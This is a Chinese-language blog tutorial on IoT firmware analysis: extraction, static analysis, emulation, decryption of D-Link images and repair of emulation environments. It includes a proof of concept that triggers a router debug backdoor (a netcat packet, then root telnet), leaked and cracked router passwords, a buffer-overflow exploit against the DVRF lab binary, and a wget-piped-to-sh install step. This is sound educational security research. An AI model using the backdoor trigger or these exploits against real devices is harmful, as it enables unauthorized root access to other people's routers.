IOT 固件分析入门

本文最后更新于 2022年12月21日 中午

01-提取 IoT 固件

首先我们需要安装固件提取工具 binwalk,由于该工具的安装流程比较繁琐,建议直接使用 Kali Linux,该系统默认安装有 binwalk。

1
https://github.com/ReFirmLabs/binwalk

1

提取固件系统的参数是-e,我们可以加上-t -vv 参数查看详细的提取过程。通过输出信息,可以得知该固件系统没有加密压缩,且系统为 Squashfs。

1
binwalk -t -vv -e RT-N300_3.0.0.4_378_9317-g2f672ff.trx

2

提取出来的文件夹为_RT-N300_3.0.0.4_378_9317-g2f672ff.trx.extracted,其中的 squashfs-root 就是我们想要的该固件的文件系统。
3

那么 binwalk 的是怎么实现提取的呢?原理就是,通过自带的强大的 magic 特征集,扫描固件中文件系统初始地址的特征码,若匹配成功,则将该段数据 dump 下来,这个 magic 特征集已公开。

1
https://github.com/ReFirmLabs/binwalk/blob/62e9caa164305a18d7d1f037ab27d14ac933d3cf/src/binwalk/magic/filesystems

4

以这个固件为例,是 Squashfs 文件系统,对应的扫描特征码为 hsqs。
5

我们可以做个实验,使用 hexdump 搜索 hsqs 的地址,为 0xe20c0,这个就是文件系统的初始地址。

1
hexdump -C RT-N300_3.0.0.4_378_9317-g2f672ff.trx | grep -i 'hsqs'

6

使用 dd 命令截取地址 925888(0xe20c0)之后的数据,保存到 rt-n300-fs。

1
dd if=RT-N300_3.0.0.4_378_9317-g2f672ff.trx bs=1 skip=925888 of=rt-n300-fs

7

最后,使用 unsquashfs rt-n300-fs 命令解析 rt-n300-fs 文件,得到的 squashfs-root 就是固件系统,这个跟上述 binwalk 提取的那个是一样的。

1
unsquashfs rt-n300-fs

8

02 静态分析 IoT 固件

得到固件后,若直接打开,会发现该固件被加了密,无法直接解压缩,这是厂商对该固件做了保护,防止大家逆向分析他的固件。

1

通过 frackzip 工具可以破解该 zip 的密码,时间要挺久的,我直接告诉你吧,密码是 beUT9Z。
2

解压后发现文件夹中有多个.yaffs2 后缀的文件,这些都是固件的文件。
3

yaffs2 里有几个看上去是 recovery 的镜像,核心的应该是 2K-mdm-image-mdm9625.yaffs2 ,我们下面就来提取该文件,我首先用 binwalk 来提取它,但提取出来的文件乱七八糟,不知道什么原因,后来看网上推荐直接用 yaffs 的原生工具 unyaffs 提取,就可以了,文件系统清晰明了。

1
unyaffs 2K-mdm-image-mdm9625.yaffs2 yaffs2-root/

4

接下来我们查找该路径下的所有.conf 文件,.conf 文件多是配置文件,有可能从中可以发现敏感的信息。

1
find . -name '*.conf'

5

其中的 inadyn-mt.conf 文件引起了我们注意,这是 no-ip 应用的配置文件,no-ip 就是一个相当于花生壳的东西,可以申请动态域名。我们从中可以发现泄露的 no-ip 的登陆账号及密码。

1
cat etc/inadyn-mt.conf

6

除了上述泄露的 no-ip 账号密码,我们还从 shadow 文件中找到了 root 账号的密码,通过爆破可以得到 root 的密码为 1234。

1
cat ~/yaffs2-root/etc/shadow

7

其实并不止有.conf 文件会泄露信息,还有很多其他后缀的敏感文件会泄露信息,我们接下来使用 firmwalker 工具来自动化遍历该固件系统中的所有可疑文件。

1
git clone https://github.com/craigz28/firmwalker.git

8

命令如下,firmwalker 会将结果保存到 firmwalker.txt。

1
./firmwalker.sh ~/yaffs2-root/

9

看了下该工具的源码,没啥亮点,就是遍历各种后缀的文件。
10

后缀都在 data 文件夹中的各个配置文件中。
11

分析完敏感的配置文件后,我们接下来分析存在风险的二进制程序。查看自启动的程序,一个 start_appmgr 脚本引起了我们注意,mgr 一般就是主控程序的意思。
12

该脚本会在开机的时候以服务的形式运行/bin.appmgr 程序。
13

通过 IDA 进行反编译,在 main 函数中发现了一个管理员当时为了方便调试留下的后门,只要连接该固件的 39889 端口并发送 HELODBG 的字符串,就可以进行远程执行命令。
14

POC 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
user@kali:~$ echo -ne "HELODBG" | nc -u 192.168.1.1 39889
Hello
^C
user@kali:~$ telnet 192.168.1.1
Trying 192.168.1.1...
Connected to 192.168.1.1. Escape character is '^]'.  
OpenEmbedded Linux homerouter.cpe    
msm 20141210 homerouter.cpe  

id uid=0(root) gid=0(root)

exit
Connection closed by foreign host.
user@kali:~$

除了以上这些,该固件还存在多个漏洞,详细的报告可以参考:

1
https://www.anquanke.com/post/id/84671

03 动态分析 IoT 固件

动态分析固件之前,需要先把固件运行起来,但我们手头又没有路由器、摄像头之类的物联网硬件,该如何运行呢?这就需要虚拟执行,虚拟执行你就把它想象成一个虚拟机可以运行各种物联网 OS 就是了。虚拟执行 IoT 固件需要用到 firmadyne 工具,该工具很难安装,在 kali 上安装一直报错,你们可以尝试下,反正我是放弃了,最终还是乖乖地用 attifyti 提供的物联网渗透专用虚拟机,下载下来的文件直接用 vmware 导入就行了。
https://www.dropbox.com/sh/xrfzyp1ex2uii53/AAAF0mdA1qFaEBDYZoIxaQRma?dl=0
1

该系统为 ubuntu14,密码为 password@123,下面我们来演示虚拟执行一个 dlink 固件。
2

在 tools/fat 路径下运行 fat.py,输入固件路径 DWP2360b-firmware-v206-rc018.bin,然后是固件的品牌 dlink,依次输入数据库密码 firmadyne 和用户密码 password@123。

1
python fat.py

3

脚本执行成功后,会回显一个 IP 地址,这个 IP 就是模拟的固件地址。
4

以上只是简单地演示如何虚拟执行一个固件,下面我们就来实操如何通过动态调试分析一个固件,接下来的固件采用 DVRF,这是个网友自制的充满漏洞的固件,供学习用的。

1
git clone https://github.com/praetorian-code/DVRF.git

开始之前,安装以下工具,动态调试中会用到。

1
2
3
sudo apt install gdb-multiarch
wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh
sudo pip3 install capstone unicorn keystone-engine

安装 keystone-engine 时可能会报错,参考这个链接。
https://github.com/avatartwo/avatar2/issues/23

安装好工具后,就开始对固件进行分析啦,固件路径如下。
DVRF/Firmware/DVRF_v03.bin
使用 binwalk 提取固件文件系统。

1
binwalk -t -e DVRF_v03.bin

5

提取出来的系统有个文件夹 pwnable,这个文件夹就是存放着有漏洞的程序示例,我们选取缓冲区漏洞程序 stack_bof_01 进行实验。首先使用 readelf 命令查看该程序的架构。

1
readelf -h pwnable/Intro/stack_bof_01

6

拷贝 qemu-mipsel-static 到当前目录,然后配合 chroot 虚拟执行 stack_bof_01 固件,可以成功执行。qemu 是一款轻型的虚拟机。

1
2
cp $(which qemu-mipsel-static) .
sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01

7

查看 stack_bof_01 的源码,可以发现明显的 strcpy 内存溢出漏洞,当参数 argv[1]超过 200 时,就会出现 buf 溢出的现象。

1
cat DVRF/Pwnable Source/Intro/stack_bof_01.c

8

以调试的方式启动 stack_bof_01,在本地的 1234 端口监听调试。

1
sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01

9

运行以下命令开始调试。

1
gdb-multiarch pwnable/Intro/stack_bof_01

gdb 运行后,会自动加载 gef 插件,然后设置固件架构为 mips。

1
set architecture mips

设置完远程调试的 IP 和端口,就可开始调试 stack_bof_01 程序了。

1
target remote 127.0.0.1:1234

10

调用命令查看样本的所有函数,可以看到各个函数的地址。

1
info functions

11

如果你感兴趣,可以使用命令查反汇编看下 main 函数的汇编码,这是 mips 架构的汇编码,跟 x86 的相差很大,完全看不懂。。

1
disass main

12

然后我们使用命令创建一个随机的 300 字节流,作为攻击字符串,用于测试参数溢出的点。

1
pattern create 300

13

重新带参数调试 stack_bof_01。

1
sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac

14

gdb 挂上去后,输入 c 回车让程序跑起来,会发现程序崩溃了,SIGSEGV 内存出错,指针 ra 指向 0x63616162,对应的 ASCII 是”baac”。

15

使用命令查看该溢出点在攻击字符串的什么位置,是位于 pattern 的第 204 位。

1
pattern search 0x63616162

15
然后反汇编 dat_shell 函数,查看其函数地址,我们的目的是要让程序本来执行 0x63616162,变成执行 dat_shell 的地址,理论上应该把 0x63616162 改成 0x400950,但书上说要略过前 3 条 gp 相关的指令,我也不知道为啥,有兴趣的同学 google 下吧。

1
disass dat_shell

16

将待执行的函数地址拼凑到 204 个字节后面,便可劫持程序执行流到 dat_shell 函数(0x40095C),从而实现缓冲区溢出攻击。

1
sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "$(python -c "print 'A'*204 + '\x5c\x09\x40'")"

17

最后,试了下 0x400950 确实不行,会报错。

1
sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "$(python -c "print 'A'*204 + '\x50\x09\x40'")"

18

04 解密 dlink 固件

本次我们要研究的是路由器 Dlink-882 的固件,下载地址在:

1
ftp://ftp2.dlink.com/PRODUCTS/DIR-882/REVA/,其中的zip文件就是各版本的固件。

1

解压出来的固件版本从旧到新依次为:

1
FW100B07 --> FW101B02 --> FW104B02 --> FW110B02 --> FW111B01 --> FW120B06 --> FW130B10

其中下图标记的两个固件是打包在同一个 zip 固件包中的,这里大家应该可以察觉到,FW104B02 有点特别,而且通过名字我们也猜测到它是未加密的中间版本。

2

目前最新的版本是 FW130B10,通过 binwalk 进行解析,会发现该固件被加密了,binwalk 无法解析。

3

再来看下最早版本的固件 FW100B07,使用 binwalk 解析是能直接提取的,没有被加密过。

4

综上,我们得知了,固件版本迭代的过程经历了固件未加密到固件加密,说明中间肯定有个中间版本(类似下图 V 2.0),下图是固件从未加密到加密的升级原理图。

5

从 binwalk 解析结果来看,能确定 FW100B07、FW101B02、FW104B02 是未加密的,而 FW104B02 之后的版本,FW110B02、FW111B01、FW120B06、FW130B10 均是加密的,那么 FW104B02 就可以确定是中间版本了。

6

确定了 FW104B02 是中间版本后,我们大概率可以从 FW104B02 的固件系统中找到解密程序了,方法是在/bin 和/usr/bin 目录下寻找 decrypt 字样的程序,很幸运,我们在 bin 目录下找到了 imgdecrypt,这个程序猜测就是解密程序了。

7

对比下最早版本的 FW100B07 版本,/bin 目录下就没有 imgdecrypt 程序。

8

接下来就可以分析下 imgdecrypt 的加密逻辑了,看下如何破解加密的固件,通过 file 命令,我们得知该程序是 MIPS 架构的可执行文件。

9

使用 IDA 分析,好吧,完全看不懂,放弃了。。这个是 mips 的汇编指令,跟 x86 汇编的语法不一样,感兴趣的同学可以学一下。

10

简单地从导入表中看下函数,发现有 RSA、AES,看来是较复杂的加密方式,不是简单的异或运算,头疼。

11

既然逆向不出加密算法,是不是就没办法解加密固件了呢?并不是,我们可以直接本地运行解密程序 imgdecrypt,来解被加密的 FW120806 固件。由于该程序是 mips 架构的,还得借助 qemu-mipsel-static 模拟器来运行。

12

使用 qemu-mipsel-static 之前要用 chroot 将当前固件系统路径设置为 root 路径,不然会提示缺少一些系统库(找不到库路径)。下图,我们就模拟运行 imgdecrypt 成功了,程序用法很简单,参数提供待解密的固件路径就行了。加密成功后,用 binwalk 就能解析出固件的系统结构了,进而提取固件系统。

13

同样的,最新的 FW130B10 版本也能通过该程序进行解密,按照这个逻辑,可能 Dlink 的其他系列路由器也能通过 imgdecrypt 解密,大家可以去试一下。

14

05-修复固件运行环境

之前我们学习了如何模拟运行 IoT 固件,但是,现实中并不是所有固件都能模拟运行成功,比如固件运行可能依赖于硬件,qemu 无法完全模拟,所以,本节我们就来学习如何修复固件的运行环境,从而成功模拟固件运行。

我们本次使用的固件是 D-Link 的 DIR-605L FW_113 固件,下载地址:

1
ftp://ftp2.dlink.com/PRODUCTS/DIR-605L/REVA/

1

拿到固件后,我们惯用的使用 fat 工具进行模拟,会发现它报错了,Interfaces 那里也为空,说明模拟运行失败了。

2

上 github 上查询该错误,作者无奈地回复说其实不是所有固件都能用 firmadyne 模拟的,尤其是那些需要与硬件设备交互的固件。

3

好,那就换种思路,模拟固件运行的实质其实就是把固件的 Web 程序跑起来,而模拟失败则说明 Web 程序运行出错了,我们接下来就要针对看看 Web 程序报错的原因以及如何修复运行环境。首先用 binwalk 提取固件的文件系统,提取出来的路径为 squashfs-root-0。

4

我们可以使用 find ./ -name boa 命令来定位该固件的 Web 程序。Boa 程序是一个轻量级的 web 服务器程序,常见于嵌入式系统中。dlink 就是在 boa 开源代码的基础上新增了很多功能接口以实现路由器上的不同功能。boa 程序的路径为/bin/boa,同时我们发现在/etc/boa 路径下还有个 boa 的密码配置文件,我们可以直接获取到 boa 加密后的密码。

5

我们直接使用命令模拟运行程序,会发现报错了,提示初始化 MIB 错误。

1
sudo chroot . ./qemu-mips-static bin/boa

6

使用 IDA 对 boa 程序进行逆向分析(需要先添加 mip 插件:https://github.com/devttys0/ida),定位到字符串“Initialize AP MIB failed”,接下来就在这里下断点,调试看下什么情况下会报这个错。

7

首先使用 qemu 调试命令运行 boa 程序。

8

然后在用 ida 打开 boa 程序,选择 Debugger 为 Remote GDB(我这里是远程调试 129 虚拟机里的 boa 程序),点击 Debugger -> Process Options 进行配置 IP 和端口。

9

然后点击 Debugger -> Attach to process 附加调试,直接运行到断点处,这里的 jalr 命令即为调用 apmib_init 函数。

10

google 下这个这个函数是干嘛的,原来是从 flash 中读取 mib 值到 RAM 中,模拟环境没有 flash 硬件,所以应该会读取失败。

11

经过调试,我们知道由于没有 flash 硬件,apmib_init 读取数据失败返回 0,赋值给%v0,然后 bnez 命令对$v0 进行检测,若为 0,则回显初始化失败,报错退出。

12

我直接在 IDA 中对字节码进行修改,将 bnez(0x14)命令改成 beqz(0x10),就可以进入正常的逻辑顺利运行下去了。

13

patch 完程序后,再次运行 boa,发现它不再报“Initialize AP MIB failed”错误了,但又来了 2 个“Create chklist file error!”错误以及一个内存崩溃错误。

14

前 2 个“Create chklist file error!”来自于 create_chklist_file 和 create_devInfo_file 函数,后面那个内存崩溃是 apmib_get 函数导致的。

15

定位到“Create chklist file error!”字符串,经分析确认这个错误是 open 函数的返回值导致,但由于不影响执行我们就细看了。

16

重点放到 apmib_get 函数,从上面我们可以知道该函数的功能是从 RAM 读取 MIB 值,所以有可能又是硬件依赖导致的错误。该函数正常情况下会返回 4 种值。

17

由于代码复杂,我们就不细致分析了,直接参考作者的代码编写劫持代码,目的是伪造 apmib_init 和 apmib_get 函数,让其返回正确的值,由于为了方便 IDA 调试,作者把 fork 也一并劫持了(IDA 遇到 fork 异常)。

18

编写好 apmib.c 后,使用 mips-linux-gnu-gcc 命令将该代码编译成 so,在这之前得先下载 mips 的 gcc。

1
sudo apt install gcc-mips-linux-gnu

然后使用命令进行编译。

1
mips-linux-gnu-gcc -Wall fPIC -shared apmib.c -o apmib-ld.so

19

使用 LD_PRELOAD 参数指定劫持 so,这样当 boa 执行到 apmib_init 和 apmib_get 时,就会调用到 apmib-ld.so 里面的函数,从而顺利运行,运行成功的效果如下。

20

我们可以看到 Web 服务以跑起来了,80 端口。

21

然而当我们打开页面时,页面自动跳转到了 Wizard_Easy_LangSelect.asp,程序又双叒崩溃了。。

22

看下该 ASP 文件的代码,通过文件名可以猜测功能是选择页面语言,而它尝试从硬件设备读取语言,显然又会出错了。

23

那我们就想办法不让它进入这个页面,查看入口网页,发现逻辑是先判断系统语言,成功则直接进入 Webcome 界面。

24

所以…我们直接魔改,两种情况都进入 Wizard_Easy_Welcome.asp 界面。

25

改完后再次访问,终于成功了,不容易,至此 Web 服务已经成功跑起来了,就可以开始挖洞了。

26

参考


IOT 固件分析入门
https://k3ppf0r.github.io/2022/12/20/IOT安全/IOT固件分析入门/
作者
k3ppf0r
发布于
2022年12月20日
许可协议